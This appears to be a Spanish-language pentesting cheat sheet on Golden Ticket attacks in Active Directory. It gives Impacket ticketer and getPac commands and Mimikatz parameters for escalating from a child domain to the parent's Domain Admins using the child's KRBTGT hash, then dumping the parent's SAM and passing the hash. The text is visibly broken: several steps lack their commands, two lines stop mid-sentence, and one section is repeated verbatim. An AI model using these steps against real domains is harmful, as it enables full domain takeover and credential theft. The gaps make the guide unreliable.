Golden Ticket

Directamete to Parent Domain

Impacket

Paso 1: Extraer el SID del usuario.

impacket-getPac -targetUser '<user>' <domain>/'<user>:<password>'

Paso 2: Generamos el ticket

impacket-ticketer -nthash '<hash ntlm del usuario a suplantar>' -user '<user a suplantar>' -groups 500 -domain-sid '<sid>' -domain <domain> -dc-ip <ip> <user>
export KRB5CCNAME=Administrator.ccache

Paso 3: Configuraciones necesarias

nano /etc/hosts
--------------------
<ip>    <domain>    <hostname.domain>
nano /etc/resolv.conf
--------------------
nameserver    <ip>
ntpdate <ip o hostname>

Paso 4: Explotar

Child to Parent Domain

Mimikatz

Paso 1: Extraer el hash del usuario KRBTGT del hijo

Paso 2: Conseguir los SID del Parent Domain

Paso 3: En Mimikatz (en child domain):

  • /domain: → del hijo.

  • /sid: → del padre.

  • /sids: → grupo Domain Admins del padre (<SID_PADRE>-512).

  • /krbtgt: → del hijo (no del padre).

Paso 4: Inyectar el ticket

Paso 5: Accede a recursos del dominio padre, como

Mimikatz y Rubeus

Paso 1: Extraer el hash del usuario KRBTGT del hijo

Paso 2: Conseguir los SID del Parent Domain

Paso 3: En Mimikatz (en child domain):

  • /domain: → del hijo.

  • /sid: → del padre.

  • /sids: → grupo Domain Admins del padre (<SID_PADRE>-512).

  • /krbtgt: → del hijo (no del padre).

Paso 4: Inyectar el ticket

Paso 5: Accede a recursos del dominio padre, como

Impacket

Paso 1: Extraer el hash del usuario KRBTGT del hijo

Paso 2: Extrater los SID del Parent Domain y del Child Domain

Paso 3: forjar el golden ticket con ticketer

Paso 4: solicitar el ticket de autentificación.

Paso 5: dumpear la sam del parent domain

Con esto, solo faltaría hacer el pass de hash.

Last updated